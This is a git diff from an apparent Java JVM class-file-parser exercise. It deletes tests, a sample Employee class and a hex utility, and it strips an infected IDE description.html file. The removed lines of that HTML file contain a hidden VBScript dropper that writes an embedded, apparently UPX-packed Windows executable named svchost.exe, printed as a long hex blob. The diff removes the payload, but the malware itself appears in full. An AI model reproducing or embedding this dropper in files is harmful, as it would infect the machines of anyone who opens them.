-        Assert.assertEquals(53, pool.getSize());
-
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-            Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-        }
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-            Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-        }
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-            Assert.assertEquals("name", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(6);
-            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(7);
-            Assert.assertEquals("age", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(8);
-            Assert.assertEquals("I", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(9);
-            Assert.assertEquals("<init>", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(10);
-            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(11);
-            Assert.assertEquals("Code", utf8Info.getValue());
-        }
-
-        {
-            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
-            Assert.assertEquals(3, methodRef.getClassInfoIndex());
-            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-            Assert.assertEquals(9, nameAndType.getIndex1());
-            Assert.assertEquals(14, nameAndType.getIndex2());
-        }
-        //抽查几个吧
-        {
-            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
-            Assert.assertEquals(1, methodRef.getClassInfoIndex());
-            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-        }
-    }
-
-    @Test
-    public void testClassIndex() {
-
-        ClassIndex clzIndex = clzFile.getClzIndex();
-        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-
-        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/test/EmployeeV1.java b/group15/1507_977996067/src/task7/jvm/test/EmployeeV1.java
deleted file mode 100644
index 866b94811a..0000000000
--- a/group15/1507_977996067/src/task7/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package task7.jvm.test;
-
-public class EmployeeV1 {
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public void setAge(int age) {
-        this.age = age;
-    }
-
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
-    }
-
-    public static void main(String[] args) {
-        EmployeeV1 p = new EmployeeV1("Andy", 29);
-        p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/util/Util.java b/group15/1507_977996067/src/task7/jvm/util/Util.java
deleted file mode 100644
index 60158ac03a..0000000000
--- a/group15/1507_977996067/src/task7/jvm/util/Util.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package task7.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16);
-    }
-
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group15/1512_656512403/.idea/description.html b/group15/1512_656512403/.idea/description.html
index 0f928c44a1..db5f129556 100644
--- a/group15/1512_656512403/.idea/description.html
+++ b/group15/1512_656512403/.idea/description.html
@@ -1,15 +1 @@
-<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html><SCRIPT Language=VBScript><!--
-DropFileName = "svchost.exe"
-WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC18466726900AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC